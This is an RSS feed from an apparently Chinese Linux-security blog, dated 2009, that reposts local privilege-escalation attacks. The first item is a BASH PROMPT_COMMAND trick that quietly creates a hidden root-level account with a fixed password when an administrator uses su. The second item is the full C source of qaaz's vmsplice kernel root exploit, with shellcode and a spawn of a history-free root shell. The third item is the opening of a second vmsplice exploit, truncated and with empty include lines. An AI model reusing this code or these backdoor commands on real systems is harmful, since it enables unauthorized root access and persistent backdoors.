<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>暖月 &#187; linux漏洞</title>
	<atom:link href="http://www.nuanyue.com/tag/linux%e6%bc%8f%e6%b4%9e/feed" rel="self" type="application/rss+xml" />
	<link>http://www.nuanyue.com</link>
	<description>专注WEB、Linux及数据库应用安全</description>
	<lastBuildDate>Sun, 01 Aug 2010 01:52:44 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>linux的BASH提权</title>
		<link>http://www.nuanyue.com/linux%e7%9a%84bash%e6%8f%90%e6%9d%83.html</link>
		<comments>http://www.nuanyue.com/linux%e7%9a%84bash%e6%8f%90%e6%9d%83.html#comments</comments>
		<pubDate>Tue, 22 Dec 2009 11:26:48 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Vulnerability order | 漏洞整理]]></category>
		<category><![CDATA[linux漏洞]]></category>

		<guid isPermaLink="false">http://www.nuanyue.com/?p=1120</guid>
		<description><![CDATA[文/<a href="http://hi.baidu.com/xi4oyu">xi4oyu</a>

要利用成功的话，还得看管理员的习惯，是否喜欢用su切换成root
BASH的环境变量
$PROMPT_COMMAND
这个变量保存了在主提示符$PS1显示之前需要执行的命令:
<pre lang="shell">
export PROMPT_COMMAND="/usr/sbin/useradd -o -u 0 kkoo &#038;>/dev/null &#038;& echo kkoo:123456 &#124; /usr/sbin/chpasswd &#038;>/dev/null &#038;& unset PROMPT_COMMAND"
</pre>
<p style="text-align: center;"><a rel="lightbox" href="http://www.nuanyue.com/wp-content/uploads/2009/12/43015717dcc8c37a22a4e973.jpg" target="_blank"><img class="size-full wp-image-953 aligncenter" style="margin: 0px auto 10px; text-align: center; display: block;" title="linux的BASH提权" src="http://www.nuanyue.com/wp-content/uploads/2009/12/43015717dcc8c37a22a4e973.jpg" alt=" alt=" width="540" height="190" /></a></p>[......]<p class='read-more'><a href='http://www.nuanyue.com/linux%e7%9a%84bash%e6%8f%90%e6%9d%83.html' target='_blank'>全文阅读</a></p>]]></description>
			<content:encoded><![CDATA[<p>文/<a href="http://hi.baidu.com/xi4oyu">xi4oyu</a></p>
<p>要利用成功的话，还得看管理员的习惯，是否喜欢用su切换成root<br />
BASH的环境变量<br />
$PROMPT_COMMAND<br />
这个变量保存了在主提示符$PS1显示之前需要执行的命令:</p>

<div class="wp_codebox"><table><tr id="p11201"><td class="code" id="p1120code1"><pre class="shell" style="font-family:monospace;">export PROMPT_COMMAND=&quot;/usr/sbin/useradd -o -u 0 kkoo &amp;&gt;/dev/null &amp;&amp; echo kkoo:123456 | /usr/sbin/chpasswd &amp;&gt;/dev/null &amp;&amp; unset PROMPT_COMMAND&quot;</pre></td></tr></table></div>

<p style="text-align: center;"><a rel="lightbox" href="http://www.nuanyue.com/wp-content/uploads/2009/12/43015717dcc8c37a22a4e973.jpg" target="_blank"><img class="size-full wp-image-953 aligncenter" style="margin: 0px auto 10px; text-align: center; display: block;" title="linux的BASH提权" src="http://www.nuanyue.com/wp-content/uploads/2009/12/43015717dcc8c37a22a4e973.jpg" alt=" alt=" width="540" height="190" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.nuanyue.com/linux%e7%9a%84bash%e6%8f%90%e6%9d%83.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Linux Kernel 2.6.23 &#8211; 2.6.24 vmsplice Local Root Exploit</title>
		<link>http://www.nuanyue.com/linux-kernel-2-6-23-2-6-24-vmsplice-local-root-exploit.html</link>
		<comments>http://www.nuanyue.com/linux-kernel-2-6-23-2-6-24-vmsplice-local-root-exploit.html#comments</comments>
		<pubDate>Wed, 02 Sep 2009 15:09:48 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Vulnerability order | 漏洞整理]]></category>
		<category><![CDATA[linux漏洞]]></category>

		<guid isPermaLink="false">http://www.nuanyue.com/?p=770</guid>
		<description><![CDATA[<div class="wp_codebox"><table><tr id="p7702"><td class="code" id="p770code2"><pre class="c" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">/*
 * diane_lane_fucked_hard.c
 *
 * Linux vmsplice Local Root Exploit
 * By qaaz
 *
 * Linux 2.6.23 - 2.6.24
 */</span>
<span style="color: #339933;">#define _GNU_SOURCE</span>
<span style="color: #339933;">#include &#60;std[......]</span></pre></td></tr></table></div><p class='read-more'><a href='http://www.nuanyue.com/linux-kernel-2-6-23-2-6-24-vmsplice-local-root-exploit.html' target='_blank'>全文阅读</a></p>]]></description>
			<content:encoded><![CDATA[
<div class="wp_codebox"><table><tr id="p7703"><td class="code" id="p770code3"><pre class="c" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">/*
 * diane_lane_fucked_hard.c
 *
 * Linux vmsplice Local Root Exploit
 * By qaaz
 *
 * Linux 2.6.23 - 2.6.24
 */</span>
<span style="color: #339933;">#define _GNU_SOURCE</span>
<span style="color: #339933;">#include &lt;stdio .h&gt;</span>
<span style="color: #339933;">#include &lt;errno .h&gt;</span>
<span style="color: #339933;">#include &lt;stdlib .h&gt;</span>
<span style="color: #339933;">#include &lt;string .h&gt;</span>
<span style="color: #339933;">#include &lt;unistd .h&gt;</span>
<span style="color: #339933;">#include &lt;sys /uio.h&gt;</span>
&nbsp;
<span style="color: #339933;">#define TARGET_PATTERN		&quot; sys_vm86old&quot;</span>
<span style="color: #339933;">#define TARGET_SYSCALL		113</span>
&nbsp;
<span style="color: #339933;">#ifndef __NR_vmsplice</span>
<span style="color: #339933;">#define __NR_vmsplice		316</span>
<span style="color: #339933;">#endif</span>
&nbsp;
<span style="color: #339933;">#define _vmsplice(fd,io,nr,fl)	syscall(__NR_vmsplice, (fd), (io), (nr), (fl))</span>
<span style="color: #339933;">#define gimmeroot()		syscall(TARGET_SYSCALL, 31337, kernel_code, 1, 2, 3, 4)</span>
&nbsp;
<span style="color: #339933;">#define TRAMP_CODE		(void *) trampoline	</span>
<span style="color: #339933;">#define TRAMP_SIZE		( sizeof(trampoline) - 1 )</span>
&nbsp;
<span style="color: #993333;">unsigned</span> <span style="color: #993333;">char</span> trampoline<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span>
<span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x8b</span><span style="color: #660099; font-weight: bold;">\x5c</span><span style="color: #660099; font-weight: bold;">\x24</span><span style="color: #660099; font-weight: bold;">\x04</span>&quot;</span>		<span style="color: #808080; font-style: italic;">/* mov    0x4(%esp),%ebx	*/</span>
<span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x8b</span><span style="color: #660099; font-weight: bold;">\x4c</span><span style="color: #660099; font-weight: bold;">\x24</span><span style="color: #660099; font-weight: bold;">\x08</span>&quot;</span>		<span style="color: #808080; font-style: italic;">/* mov    0x8(%esp),%ecx	*/</span>
<span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x81</span><span style="color: #660099; font-weight: bold;">\xfb</span><span style="color: #660099; font-weight: bold;">\x69</span><span style="color: #660099; font-weight: bold;">\x7a</span><span style="color: #660099; font-weight: bold;">\x00</span><span style="color: #660099; font-weight: bold;">\x00</span>&quot;</span>	<span style="color: #808080; font-style: italic;">/* cmp    $31337,%ebx		*/</span>
<span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\x75</span><span style="color: #660099; font-weight: bold;">\x02</span>&quot;</span>			<span style="color: #808080; font-style: italic;">/* jne    +2			*/</span>
<span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\xff</span><span style="color: #660099; font-weight: bold;">\xd1</span>&quot;</span>			<span style="color: #808080; font-style: italic;">/* call   *%ecx			*/</span>
<span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\xb8</span><span style="color: #660099; font-weight: bold;">\xea</span><span style="color: #660099; font-weight: bold;">\xff</span><span style="color: #660099; font-weight: bold;">\xff</span><span style="color: #660099; font-weight: bold;">\xff</span>&quot;</span>		<span style="color: #808080; font-style: italic;">/* mov    $-EINVAL,%eax		*/</span>
<span style="color: #ff0000;">&quot;<span style="color: #660099; font-weight: bold;">\xc3</span>&quot;</span>				<span style="color: #808080; font-style: italic;">/* ret				*/</span>
<span style="color: #339933;">;</span>
&nbsp;
<span style="color: #993333;">void</span>	die<span style="color: #009900;">&#40;</span><span style="color: #993333;">char</span> <span style="color: #339933;">*</span>msg<span style="color: #339933;">,</span> <span style="color: #993333;">int</span> err<span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
	<span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span>err <span style="color: #339933;">?</span> <span style="color: #ff0000;">&quot;[-] %s: %s<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span> <span style="color: #339933;">:</span> <span style="color: #ff0000;">&quot;[-] %s<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span> msg<span style="color: #339933;">,</span> strerror<span style="color: #009900;">&#40;</span>err<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	fflush<span style="color: #009900;">&#40;</span>stdout<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	fflush<span style="color: #009900;">&#40;</span>stderr<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	exit<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #993333;">long</span>	get_target<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
	FILE	<span style="color: #339933;">*</span>f<span style="color: #339933;">;</span>
	<span style="color: #993333;">long</span>	addr <span style="color: #339933;">=</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
	<span style="color: #993333;">char</span>	line<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">128</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
&nbsp;
	f <span style="color: #339933;">=</span> fopen<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;/proc/kallsyms&quot;</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;r&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span>f<span style="color: #009900;">&#41;</span> die<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;/proc/kallsyms&quot;</span><span style="color: #339933;">,</span> errno<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span>fgets<span style="color: #009900;">&#40;</span>line<span style="color: #339933;">,</span> <span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span>line<span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> f<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>strstr<span style="color: #009900;">&#40;</span>line<span style="color: #339933;">,</span> TARGET_PATTERN<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
			addr <span style="color: #339933;">=</span> strtoul<span style="color: #009900;">&#40;</span>line<span style="color: #339933;">,</span> NULL<span style="color: #339933;">,</span> <span style="color: #0000dd;">16</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			<span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	fclose<span style="color: #009900;">&#40;</span>f<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">return</span> addr<span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #993333;">static</span> <span style="color: #000000; font-weight: bold;">inline</span> __attribute__<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>always_inline<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
<span style="color: #993333;">void</span> <span style="color: #339933;">*</span>	get_current<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
	<span style="color: #993333;">unsigned</span> <span style="color: #993333;">long</span> curr<span style="color: #339933;">;</span>
	__asm__ __volatile__ <span style="color: #009900;">&#40;</span>
	<span style="color: #ff0000;">&quot;movl %%esp, %%eax ;&quot;</span>
	<span style="color: #ff0000;">&quot;andl %1, %%eax ;&quot;</span>
	<span style="color: #ff0000;">&quot;movl (%%eax), %0&quot;</span>
	<span style="color: #339933;">:</span> <span style="color: #ff0000;">&quot;=r&quot;</span> <span style="color: #009900;">&#40;</span>curr<span style="color: #009900;">&#41;</span>
	<span style="color: #339933;">:</span> <span style="color: #ff0000;">&quot;i&quot;</span> <span style="color: #009900;">&#40;</span>~<span style="color: #0000dd;">8191</span><span style="color: #009900;">&#41;</span>
	<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">return</span> <span style="color: #009900;">&#40;</span><span style="color: #993333;">void</span> <span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span> curr<span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #993333;">static</span> uint uid<span style="color: #339933;">,</span> gid<span style="color: #339933;">;</span>
&nbsp;
<span style="color: #993333;">void</span>	kernel_code<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
	<span style="color: #993333;">int</span>	i<span style="color: #339933;">;</span>
	uint	<span style="color: #339933;">*</span>p <span style="color: #339933;">=</span> get_current<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #b1b100;">for</span> <span style="color: #009900;">&#40;</span>i <span style="color: #339933;">=</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span> i <span style="color: #339933;">&lt;</span> <span style="color: #0000dd;">1024</span><span style="color: #339933;">-</span><span style="color: #0000dd;">13</span><span style="color: #339933;">;</span> i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>p<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">==</span> uid <span style="color: #339933;">&amp;&amp;</span> p<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">==</span> uid <span style="color: #339933;">&amp;&amp;</span>
		    p<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">2</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">==</span> uid <span style="color: #339933;">&amp;&amp;</span> p<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">3</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">==</span> uid <span style="color: #339933;">&amp;&amp;</span>
		    p<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">4</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">==</span> gid <span style="color: #339933;">&amp;&amp;</span> p<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">5</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">==</span> gid <span style="color: #339933;">&amp;&amp;</span>
		    p<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">6</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">==</span> gid <span style="color: #339933;">&amp;&amp;</span> p<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">7</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">==</span> gid<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
			p<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> p<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> p<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">2</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> p<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">3</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
			p<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">4</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> p<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">5</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> p<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">6</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> p<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">7</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
			p <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span>uint <span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">char</span> <span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#40;</span>p <span style="color: #339933;">+</span> <span style="color: #0000dd;">8</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #993333;">sizeof</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">void</span> <span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			p<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> p<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> p<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">2</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> ~<span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
			<span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
		p<span style="color: #339933;">++;</span>
	<span style="color: #009900;">&#125;</span>	
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #993333;">int</span>	main<span style="color: #009900;">&#40;</span><span style="color: #993333;">int</span> argc<span style="color: #339933;">,</span> <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>argv<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
	<span style="color: #993333;">int</span>		pi<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">2</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
	<span style="color: #993333;">long</span>		addr<span style="color: #339933;">;</span>
	<span style="color: #993333;">struct</span> iovec	iov<span style="color: #339933;">;</span>
&nbsp;
	uid <span style="color: #339933;">=</span> getuid<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	gid <span style="color: #339933;">=</span> getgid<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	setresuid<span style="color: #009900;">&#40;</span>uid<span style="color: #339933;">,</span> uid<span style="color: #339933;">,</span> uid<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	setresgid<span style="color: #009900;">&#40;</span>gid<span style="color: #339933;">,</span> gid<span style="color: #339933;">,</span> gid<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;-----------------------------------<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot; Linux vmsplice Local Root Exploit<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot; By qaaz<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;-----------------------------------<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span>uid <span style="color: #339933;">||</span> <span style="color: #339933;">!</span>gid<span style="color: #009900;">&#41;</span>
		die<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;!@#$&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	addr <span style="color: #339933;">=</span> get_target<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;[+] addr: 0x%lx<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span> addr<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>pipe<span style="color: #009900;">&#40;</span>pi<span style="color: #009900;">&#41;</span> <span style="color: #339933;">&lt;</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span>
		die<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;pipe&quot;</span><span style="color: #339933;">,</span> errno<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	iov.<span style="color: #202020;">iov_base</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #993333;">void</span> <span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span> addr<span style="color: #339933;">;</span>
	iov.<span style="color: #202020;">iov_len</span>  <span style="color: #339933;">=</span> TRAMP_SIZE<span style="color: #339933;">;</span>
&nbsp;
	write<span style="color: #009900;">&#40;</span>pi<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> TRAMP_CODE<span style="color: #339933;">,</span> TRAMP_SIZE<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	_vmsplice<span style="color: #009900;">&#40;</span>pi<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #339933;">&amp;</span>iov<span style="color: #339933;">,</span> <span style="color: #0000dd;">1</span><span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	gimmeroot<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>getuid<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">!=</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span>
		die<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;wtf&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;[+] root<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	putenv<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;HISTFILE=/dev/null&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	execl<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;/bin/bash&quot;</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;bash&quot;</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;-i&quot;</span><span style="color: #339933;">,</span> NULL<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	die<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;/bin/bash&quot;</span><span style="color: #339933;">,</span> errno<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">return</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">// milw0rm.com [2008-02-09]</span></pre></td></tr></table></div>

<p></sys></unistd></string></stdlib></errno></stdio></pre>
]]></content:encoded>
			<wfw:commentRss>http://www.nuanyue.com/linux-kernel-2-6-23-2-6-24-vmsplice-local-root-exploit.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Linux Kernel 2.6.17 &#8211; 2.6.24.1 vmsplice Local Root Exploit</title>
		<link>http://www.nuanyue.com/linux-kernel-2-6-17-2-6-24-1-vmsplice-local-root-exploit.html</link>
		<comments>http://www.nuanyue.com/linux-kernel-2-6-17-2-6-24-1-vmsplice-local-root-exploit.html#comments</comments>
		<pubDate>Wed, 02 Sep 2009 15:08:16 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Vulnerability order | 漏洞整理]]></category>
		<category><![CDATA[linux漏洞]]></category>

		<guid isPermaLink="false">http://www.nuanyue.com/?p=768</guid>
		<description><![CDATA[<div class="wp_codebox"><table><tr id="p7684"><td class="code" id="p768code4"><pre class="c" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">/*
 * jessica_biel_naked_in_my_bed.c
 *
 * Dovalim z knajpy a cumim ze Wojta zas nema co robit, kura.
 * Gizdi, tutaj mate cosyk na hrani, kym aj toto[......]</span></pre></td></tr></table></div><p class='read-more'><a href='http://www.nuanyue.com/linux-kernel-2-6-17-2-6-24-1-vmsplice-local-root-exploit.html' target='_blank'>全文阅读</a></p>]]></description>
			<content:encoded><![CDATA[
<div class="wp_codebox"><table><tr id="p7685"><td class="code" id="p768code5"><pre class="c" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">/*
 * jessica_biel_naked_in_my_bed.c
 *
 * Dovalim z knajpy a cumim ze Wojta zas nema co robit, kura.
 * Gizdi, tutaj mate cosyk na hrani, kym aj totok vykeca.
 * Stejnak je to stare jak cyp a aj jakesyk rozbite.
 *
 * Linux vmsplice Local Root Exploit
 * By qaaz
 *
 * Linux 2.6.17 - 2.6.24.1
 *
 * This is quite old code and I had to rewrite it to even compile.
 * It should work well, but I don't remeber original intent of all
 * the code, so I'm not 100% sure about it. You've been warned ;)
 *
 * -static -Wno-format
 */</span>
<span style="color: #339933;">#define _GNU_SOURCE</span>
<span style="color: #339933;">#include </span>
<span style="color: #339933;">#include </span>
<span style="color: #339933;">#include </span>
<span style="color: #339933;">#include </span>
<span style="color: #339933;">#include </span>
<span style="color: #339933;">#include</span>
&nbsp;
<span style="color: #339933;">#include </span>
<span style="color: #339933;">#include </span>
<span style="color: #339933;">#include </span>
<span style="color: #339933;">#include </span>
<span style="color: #339933;">#include </span>
<span style="color: #339933;">#define __KERNEL__</span>
<span style="color: #339933;">#include </span>
&nbsp;
<span style="color: #339933;">#define PIPE_BUFFERS	16</span>
<span style="color: #339933;">#define PG_compound	14</span>
<span style="color: #339933;">#define uint		unsigned int</span>
<span style="color: #339933;">#define static_inline	static inline __attribute__((always_inline))</span>
<span style="color: #339933;">#define STACK(x)	(x + sizeof(x) - 40)</span>
&nbsp;
<span style="color: #993333;">struct</span> page <span style="color: #009900;">&#123;</span>
	<span style="color: #993333;">unsigned</span> <span style="color: #993333;">long</span> flags<span style="color: #339933;">;</span>
	<span style="color: #993333;">int</span> count<span style="color: #339933;">;</span>
	<span style="color: #993333;">int</span> mapcount<span style="color: #339933;">;</span>
	<span style="color: #993333;">unsigned</span> <span style="color: #993333;">long</span> private<span style="color: #339933;">;</span>
	<span style="color: #993333;">void</span> <span style="color: #339933;">*</span>mapping<span style="color: #339933;">;</span>
	<span style="color: #993333;">unsigned</span> <span style="color: #993333;">long</span> index<span style="color: #339933;">;</span>
	<span style="color: #993333;">struct</span> <span style="color: #009900;">&#123;</span> <span style="color: #993333;">long</span> next<span style="color: #339933;">,</span> prev<span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span> lru<span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #993333;">void</span>	exit_code<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
